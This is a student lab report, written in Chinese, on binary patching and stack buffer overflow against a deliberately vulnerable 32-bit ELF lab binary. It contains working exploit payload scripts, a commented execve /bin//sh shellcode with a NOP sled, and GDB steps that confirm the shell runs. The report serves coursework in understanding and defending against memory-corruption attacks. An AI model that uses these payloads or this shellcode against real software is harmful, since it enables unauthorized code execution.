20242312 2026-2027-1 《网络与系统攻防技术》实验一实验报告
20242312 2026-2027-1 《网络与系统攻防技术》实验一实验报告
姓名:周梓濠
学号:20242312
实验名称:逆向破解与BOF
1.基础知识
1.1 可执行文件、反汇编与十六进制编辑
本次实验对象是 Linux 下的 pwn1。正常情况下,main() 调用 foo(),读取并回显输入;程序中另有 getShell(),但正常流程不会调用它。实验通过修改机器指令或覆盖栈上的返回地址,使程序执行原本不会执行的代码。
file 用于判断文件格式。本次目标是 ELF 32 位、小端序、Intel i386 可执行文件,因此返回地址占 4 字节。
反汇编把机器码转换为汇编助记符。objdump -d -M intel 可以查看可执行代码并使用 Intel 语法显示,具体选项见 GNU objdump 手册。hexedit 则直接查看和修改文件字节。二者配合使用,可以先定位指令,再修改机器码,最后重新反汇编检查。
反汇编显示的虚拟地址与编辑器显示的文件偏移不是同一个量。对于文件中有实际内容的加载段,换算关系为:
文件偏移 = 指令虚拟地址 - 所属段的 p_vaddr + 所属段的 p_offset
可以用 readelf -lW 查看段信息。本次需要修改的指令位于虚拟地址 0x080484b5,对应文件偏移 0x4b5。
1.2 常用汇编指令与机器码
下表列出本次涉及的 x86 32 位常用编码。rel8、rel32 分别表示 8 位、32 位相对位移。指令含义与编码可查 Intel 指令集手册。
| 指令 | 作用 | 常见机器码或示例 |
|---|---|---|
NOP |
空操作,不改变计算结果 | 90 |
JE/JZ |
当零标志 ZF=1 时跳转 | 短跳转 74 rel8;近跳转 0F 84 rel32 |
JNE/JNZ |
当 ZF=0 时跳转 | 短跳转 75 rel8;近跳转 0F 85 rel32 |
JMP |
无条件跳转 | 短跳转 EB rel8;近跳转 E9 rel32 |
CMP |
比较操作数,更新标志位,不保存减法结果 | 39 /r、3B /r;如 cmp eax,1 可编码为 83 F8 01 |
CALL |
保存返回地址并转移执行位置 | 本次使用 E8 rel32 |
RET |
从栈中取出返回地址并跳转 | 本次使用 C3 |
1.3 栈帧、寄存器与缓冲区溢出
ESP 保存当前栈顶地址;使用帧指针的函数中,EBP 为访问局部变量和保存的返回地址提供基准。EIP 保存指令执行位置,EAX 是通用寄存器,也常用于保存返回值或系统调用号。
本次 foo() 开头执行:
push ebp
mov ebp, esp
sub esp, 0x38
随后用 lea eax,[ebp-0x1c] 取得输入缓冲区地址。
高地址
EBP+4 返回地址,4 字节
EBP 保存的旧 EBP,4 字节
EBP-0x1c 输入缓冲区起始位置
低地址
缓冲区到旧 EBP 的距离是 28 字节,旧 EBP 再占 4 字节,因此返回地址从输入的第 32 字节偏移处开始。输入超过这一区域,就可能覆盖返回地址。foo() 使用的 gets() 不检查目标缓冲区容量,是本次溢出的原因。
栈向低地址增长,而 gets() 从缓冲区起始位置向更高地址连续写入,两种方法我在实验过程中差点混淆。函数结尾的 leave; ret 恢复栈帧并读取返回地址。
1.4 小端序、ASLR 与 shellcode
小端序把数值的低位字节放在低地址。例如 getShell() 地址 0x0804847d,写入输入文件时应为:
7d 84 04 08
Python 中 struct.pack('<I', address) 可以生成小端序的 4 字节地址。
ASLR 会随机化部分地址布局。实验中将 kernel.randomize_va_space 设为 0,以便观察和调试栈地址。参数含义见 Linux 内核文档。
Shellcode 是可直接执行的机器指令。本次 shellcode 通过 32 位 Linux 的 int 0x80 调用 execve,启动 /bin//sh。前面的 NOP 区由多个 90 组成,允许返回地址落到该区域后继续执行到 shellcode。能否执行栈中代码还取决于栈执行权限等条件。
2.实验内容
2.1 实验目标与简要方案
| 实验内容 | 实现方案 | 验证方法 |
|---|---|---|
| 手工修改可执行文件 | 修改 main() 中 CALL 的相对位移,直接调用 getShell() |
重新反汇编,并在取得的 Shell 中执行 id、whoami |
利用 foo() 的缓冲区溢出 |
输入 32 字节填充数据,再写入 getShell() 的小端序地址 |
输入 payload 后执行 echo SHELL_OK |
| 注入并执行 shellcode | 用 GDB 查看栈地址,将返回地址指向输入中的 NOP 区和 shellcode | 单步观察执行位置,并确认进程开始执行 /usr/bin/dash |
2.2 实验环境与文件
实验在 VMware 中的 Kali Linux 虚拟机完成。主机名为姓名拼音 zhouzihao,工作目录为 /home/kali/pwnlab_20242312。使用的工具包括 file、objdump、readelf、hexedit、xxd、Python 3 和 GDB。
主要目标文件为 pwn1_20242312、pwn1_20242312_manual、pwn3_20242312;第二项输入文件为 input_20242312,第三项的最终生成脚本为 make_shellcode3.py,对应输入文件为 input_shellcode3_20242312。
3.实验过程
3.1 准备环境并确认目标格式
首先将虚拟机主机名改为 zhouzihao,重新进入终端后,用 hostname 检查结果。

图1:主机名显示为 zhouzihao。
通过 VMware 共享文件夹传入 pwn1。检查 /mnt/hgfs 时发现共享目录名称是 Shared,而不是 shared。

图2:找到共享目录,并建立含学号的实验目录。
将目标复制到实验目录,命名为 pwn1_20242312,添加执行权限,再用 file 检查格式:
chmod +x pwn1_20242312
file pwn1_20242312

图3:查看目标为 ELF 32 位、小端序 i386 可执行文件。
3.2 实验一:手工修改调用目标
(1)反汇编并定位函数
objdump -d -M intel pwn1_20242312 | tee dis_20242312.txt
grep -n "<main>\|<foo>\|<getShell>" dis_20242312.txt

图4:定位 getShell()、foo() 和 main()。
得到关键地址如下:
| 位置 | 地址 |
|---|---|
getShell() |
0x0804847d |
foo() |
0x08048491 |
main() |
0x080484af |
main() 中调用 foo() 的指令 |
0x080484b5 |
原指令为:
080484b5: e8 d7 ff ff ff call 0x08048491 <foo>
(2)计算新的相对位移
E8 rel32 指令共 5 字节,相对位移以下一条指令地址为基准:
下一条指令地址 = 0x080484b5 + 5 = 0x080484ba
原位移 = 0x08048491 - 0x080484ba = -0x29
新位移 = 0x0804847d - 0x080484ba = -0x3d
-0x3d 的 32 位补码是 0xffffffc3,小端序表示为 c3 ff ff ff。因此需要将原来的:
e8 d7 ff ff ff
改为:
e8 c3 ff ff ff
(3)复制目标并修改字节
cp pwn1_20242312 pwn1_20242312_manual
chmod +x pwn1_20242312_manual
readelf -lW pwn1_20242312_manual
hexedit pwn1_20242312_manual

图5:保留原文件,单独修改副本。
在文件偏移 0x4b5 找到 e8 d7 ff ff ff,将偏移 0x4b6 处的 d7 改成 c3,保存退出。

图6:修改前的调用位移。

图7:修改后为 e8 c3 ff ff ff。
(4)重新反汇编并验证
objdump -d -M intel pwn1_20242312_manual | grep -A 15 '<main>:'
./pwn1_20242312_manual

图8:调用目标已变为 0x0804847d <getShell>。
运行后进入 Shell,执行 id、whoami,得到当前用户 kali 的身份信息,输入 exit 后返回原终端。

图9:成功执行 id 和 whoami。
实验一完成b( ̄▽ ̄)d 。
3.3 实验二:覆盖返回地址调用 getShell
(1)设置实验环境并分析 foo
sudo sysctl -w kernel.randomize_va_space=0
cp pwn1_20242312 pwn2_20242312
objdump -d -M intel pwn2_20242312 | grep -A 35 '<foo>:'

图10:设置返回 kernel.randomize_va_space = 0,同时出现主机名解析警告(后续有解决办法)。

图11:输入缓冲区在 [ebp-0x1c],输入函数为 gets()。
重点指令为:
08048494: sub esp,0x38
08048497: lea eax,[ebp-0x1c]
0804849d: call 0x08048330 <gets@plt>
080484a8: call 0x08048340 <puts@plt>
080484ad: leave
080484ae: ret
由缓冲区起始地址 EBP-28 到返回地址 EBP+4,得到覆盖偏移 28+4=32 字节。前 32 字节用于填充,接下来的 4 字节用于覆盖返回地址。
(2)构造并检查 payload
python3 - <<'PY'
import struct
payload = b'A' * 32
payload += struct.pack('<I', 0x0804847d)
payload += b'\n'
with open('input_20242312', 'wb') as f:
f.write(payload)
print('输入文件生成成功!')
PY
xxd input_20242312

图12:偏移 0x20 开始为 7d 84 04 08,随后是换行符 0a。
该文件共 37 字节,包括 32 字节填充、4 字节目标地址和 1 字节换行符。gets() 读取到换行结束。
(3)输入 payload 并验证 Shell
(cat input_20242312; cat) | ./pwn2_20242312
第一个 cat 发送 payload,第二个 cat 继续读取终端输入,使取得的 Shell 能接收后续命令。若只发送文件,标准输入到达 EOF 后,Shell 可能立即退出。

图13:echo SHELL_OK 输出了 SHELL_OK
实验结果: 返回地址被覆盖为 getShell() 地址,Shell 能执行输入的命令。退出后的段错误说明原程序的栈状态已经受到破坏,不能保证恢复正常执行。
实验二完成b( ̄▽ ̄)d 。
3.4 实验三:注入并执行 shellcode
(1)检查 ASLR 并用 GDB 观察栈
cat /proc/sys/kernel/randomize_va_space

图14:读出的参数值为 0,说明ASLR关闭。
第三项使用目标文件 pwn3_20242312。打开 GDB,选择 Intel 反汇编格式,在 gets() 返回后的地址 0x080484a2 下断点,输入 AAAA 后查看寄存器:
gdb -q pwn3_20242312
set disassembly-flavor intel
break *0x080484a2
run
# 程序等待输入时输入 AAAA
info registers

图15:使用的断点为 0x080484a2。

图16:本次运行的 EBP=0xffffced8,EAX=0xffffcebc。
按反汇编中的寻址方式计算:
缓冲区起始地址 = EBP - 0x1c = 0xffffcebc
返回地址槽位 = EBP + 4 = 0xffffcedc
返回地址后位置 = EBP + 8 = 0xffffcee0
GDB 的 x 命令可以检查内存,si 用于单步执行机器指令。查看 payload 时,可明确指定单位,例如 x/40xb 查看 40 字节、x/10xw 查看 10 个四字节字;语法见 GDB 内存检查手册。
(2)第一次尝试:把 NOP 与 shellcode 放在返回地址之前
我第一次构造 payload 时,把 NOP 区与 shellcode 都放在返回地址前面的低地址一侧:
低地址 高地址
[NOP 区][24 字节 shellcode][填充][4 字节返回地址]
↑ 只有 28 字节可用,容易越界
其中 shellcode 为:
shellcode = (
b'\x31\xc0' # xor eax,eax
b'\x50' # push eax,放入字符串结束符
b'\x68\x2f\x2f\x73\x68' # push 0x68732f2f
b'\x68\x2f\x62\x69\x6e' # push 0x6e69622f
b'\x89\xe3' # mov ebx,esp,指向 /bin//sh
b'\x50' # argv 的结束空指针
b'\x53' # argv[0] 指向路径字符串
b'\x89\xe1' # mov ecx,esp,设置 argv
b'\x99' # cdq,因 EAX 为零而清零 EDX
b'\xb0\x0b' # 设置 execve 系统调用号
b'\xcd\x80' # 发起系统调用
)
这段代码共 24 字节。它先在栈上构造以空字节结尾的 /bin//sh,再设置路径、参数数组和环境参数,最后执行系统调用。

图17:第一次尝试使用的脚本,其中 shellcode 用 cdq(编码 99)清零 EDX;当时把 NOP 区和这段代码排在返回地址之前。
这一版程序进入 shellcode 后立即触发 SIGSEGV。用 GDB 查看时,EIP 已经指向输入的 shellcode 地址,说明返回地址覆盖正常,既不是地址错误,也不是 ASLR 或 NX 的问题,故障发生在 shellcode 内部。
原因是 shellcode 在执行过程中覆盖了自己后面的指令。execve 的 shellcode 需要先用 push 在栈上拼出 /bin//sh 和参数数组,push 会把 ESP 向低地址移动,写入的位置总在当前代码之下。若 shellcode 位于返回地址之前的低地址一侧,压入的数据就覆盖它自身。
低地址 高地址
[被 push 写入的数据][shellcode 未执行的字节 ...][填充][返回地址]
↑ ESP 不断向这一方向移动,最终压到代码自己身上
这次失败因此有两重原因:一是有 28 字节的硬限制,24 字节代码加 NOP 放不下,还写坏了返回地址;二是代码与压栈区几乎重叠,压栈会改掉自己尚未执行的指令。
(3)成功版本:把 shellcode 移到返回地址之后
修正思路是把 shellcode 放到返回地址后面的高地址一侧,并让返回地址指向 shellcode 前面的 NOP 滑梯:
输入低地址 输入高地址
[32 字节填充][4 字节返回地址][NOP 滑梯][24 字节 shellcode]
偏移 32 偏移 36 偏移 56
↑ 返回地址指向这里
这样 shellcode 压栈时只覆盖前面的填充区,不再破坏自身字节;NOP 滑梯则让返回地址只要落在滑梯范围内,都能继续滑到 shellcode 入口,不必精确对准第一条指令。
最终脚本 make_shellcode3.py 内容如下:
shellcode = (
b"\x31\xc0" # xor eax,eax,EAX 清零
b"\x50" # push eax,放入字符串结束符
b"\x68\x2f\x2f\x73\x68" # push 0x68732f2f,即 "//sh"
b"\x68\x2f\x62\x69\x6e" # push 0x6e69622f,即 "/bin"
b"\x89\xe3" # mov ebx,esp,EBX 指向 "/bin//sh"
b"\x50" # push eax,argv 结束空指针
b"\x53" # push ebx,argv[0] 指向路径字符串
b"\x89\xe1" # mov ecx,esp,设置 argv
b"\x31\xd2" # xor edx,edx,EDX 清零
b"\xb0\x0b" # mov al,0xb,execve 系统调用号
b"\xcd\x80" # int 0x80,发起系统调用
)
# 覆盖 buffer 到返回地址
payload = b"A" * 32
# 返回地址:
# 跳到后面的 NOP 区
# buffer = 0xffffcebc
# 32字节后面 ret
# ret 后4字节开始就是 NOP
# 所以 NOP 起点:
# 0xffffcebc + 36 = 0xffffcee0
payload += b"\xe0\xce\xff\xff"
# NOP 滑梯
payload += b"\x90" * 20
# shellcode
payload += shellcode
with open("input_shellcode3_20242312", "wb") as f:
f.write(payload)

图18:make_shellcode3.py 中的 shellcode、返回地址和 NOP 滑梯。
运行脚本并检查生成的输入文件:
python3 make_shellcode3.py
xxd input_shellcode3_20242312

图19:最终输入文件的十六进制内容。
文件结构与推导完全一致,共 80 字节。按 xxd 默认的每行 16 字节排列,逐行对应如下:
| 行偏移 | 字节内容 | 含义 |
|---|---|---|
0x00、0x10 |
41 × 32 |
填充到返回地址 |
0x20 |
e0 ce ff ff + 90 × 12 |
返回地址 0xffffcee0,以及 NOP 滑梯的前 12 字节 |
0x30 |
90 × 8 + 31 c0 50 68 2f 2f 73 68 |
NOP 滑梯的后 8 字节,紧接着 shellcode 开头 |
末行(0x40) |
68 2f 62 69 6e 89 e3 50 53 89 e1 31 d2 b0 0b |
shellcode 中段,至偏移 0x4f |
| 文件末尾 | 80 |
int 0x80 的最后一个字节 |
因此偏移 0x20 处是返回地址,偏移 0x24 起是 20 个 90;shellcode 从偏移 0x38 开始,到偏移 0x4f 结束,共 24 字节。xxd 右列的可读字符中能看到 /bin//sh 以及相邻的 PS(\x50\x53)等字节,与 shellcode 中压栈构造字符串的指令对应。
(4)调试并验证 shellcode 执行
对照本节(1)得到的栈地址:
缓冲区起始地址 = 0xffffcebc → payload 偏移 0
返回地址槽位 = 0xffffcedc → payload 偏移 32
NOP 滑梯起点 = 0xffffcee0 → payload 偏移 36
shellcode 入口 = 0xffffcef4 → payload 偏移 56
填入的返回地址 0xffffcee0 正落在 NOP 滑梯起点上。用 GDB 单步验证:
gdb -q ./pwn3_20242312
run < input_shellcode3_20242312
# 触发 ret 之后用 si 逐条执行
info registers
si
si

图20:EIP 落在栈地址上,EAX=0x0,随后逐条单步执行栈中的机器指令。
图中的 0xffffcf05 in ?? () 以及 add BYTE PTR [eax+ecx*1],al 之类输出是调试器从字节中间开始解码得到的错位反汇编。
最后再执行一下:
gdb -q ./pwn3_20242312
run < input_shellcode3_20242312

图21:GDB 显示 process ... is executing new program: /usr/bin/dash,随后 exited normally。
输出中先出现填充内容,随后显示 process 344924 is executing new program: /usr/bin/dash,进程正常退出,没有出现段错误。
实验结果: 返回地址被覆盖为 0xffffcee0,EIP 劫持成功;NOP 滑梯把执行流带到栈中的 shellcode,最终通过 int 0x80 调用 execve 启动 /usr/bin/dash。
实验三完成b( ̄▽ ̄)d 。
4.问题及解决方案
- 问题1:修改主机名后,sudo 提示无法解析主机名
出现 sudo: unable to resolve host zhouzihao。原因是主机名已经修改,但 /etc/hosts 中没有相应映射。
- 问题1解决方案: 按记录添加映射并检查内容:
echo "127.0.0.1 zhouzihao" | sudo tee -a /etc/hosts
cat /etc/hosts

图22:/etc/hosts 中已加入 zhouzihao。
- 问题2:hexedit 安装失败,调试工具下载出现域名解析错误
安装 hexedit 时出现 Unable to locate package;安装调试工具时还出现 Temporary failure resolving 'http.kali.org'。

图23:安装命令报错。
-
问题2解决方案:记录中排查发现虚拟机网络未连通,于是在 Windows 的
services.msc中检查并启动或重启 VMware NAT、DHCP 服务。网络恢复后更新软件包索引,再安装所需工具。 -
问题3:误把函数分配的 56 字节当成输入覆盖偏移
最初看到 sub esp,0x38,容易直接按 56 字节构造填充,但函数栈空间不只用于输入缓冲区。
-
问题3解决方案: 以
lea eax,[ebp-0x1c]确认缓冲区位置,再计算到EBP+4的距离,得到正确偏移 32 字节。 -
问题4:取得 Shell 后退出,程序出现段错误
第二项中已经输出 SHELL_OK,但输入 exit 后出现 broken pipe 和 segmentation fault。
-
问题4解决方案: 溢出输入破坏了保存的 EBP,并将
foo()返回位置改为getShell();没有构造完整的后续返回链,因而退出 Shell 后可能崩溃。 -
问题5:初版 shellcode 因自覆盖而失败
初版把 NOP 区和 shellcode 放在返回地址之前,运行后触发 SIGSEGV。用 GDB 查看确认 EIP 已经进入 shellcode,说明返回地址覆盖、ASLR、栈执行权限都没有问题,故障出在代码自身。原因:execve 的 shellcode 必须用 push 在栈上拼出 /bin//sh 与参数数组,push 会让 ESP 向低地址移动,写入的位置在代码之下。当 shellcode 位于返回地址之前的低地址一侧时,代码与压栈区几乎重叠,压栈写入的地址就会落进自己尚未执行的指令里,于是“边执行边被自己写坏”,最终报错。
- 问题5解决方案:把布局改成“32 字节填充、4 字节返回地址、NOP 滑梯、24 字节 shellcode”,让代码位于返回地址之后的高地址一侧。这样压栈只覆盖前面的填充区,不再破坏 shellcode 自身;再让返回地址指向 NOP 滑梯起点
0xffffcee0,利用滑梯提高跳转容错性,不必精确对准 shellcode 第一条指令。
5.学习感悟、思考等
- 本次实验比较花时间的还是任务三。什么是shellcode、为什么要用NOP滑梯、shellcode该放到哪个地址、怎么用GDB进行调试……还是比较复杂的。而关于内存地址的分布也花了我不少时间(正常顺序都是低地址到高地址,而栈是往低地址生长)。我感觉把内存地址图画出来会清晰一些,能更加明白缓冲区、返回地址是怎么被覆盖的。像任务三为什么要把shellcode放在返回地址的高一侧,也和内存地址的分布息息相关。
- 本次熟练了一些常用的linux操作(sudo apt install、chmod、nano、cat、grep),掌握了常用的汇编语言含义,还有复习了EBP、ESP和EIP等基础知识。
- 做实验之前一定要先知道实验的原理,才能理解AI给的命令含义和作用,不然一是收获不到什么,二是AI出错了也不知道怎么改,只能一遍遍把报错信息发给他,效率低下。只有清楚了任务方向,才能更好地发挥AI的作用。
参考资料
- 本人实验过程记录:《网络攻防实验1》PDF,用于核对操作、截图及执行结果。

浙公网安备 33010602011771号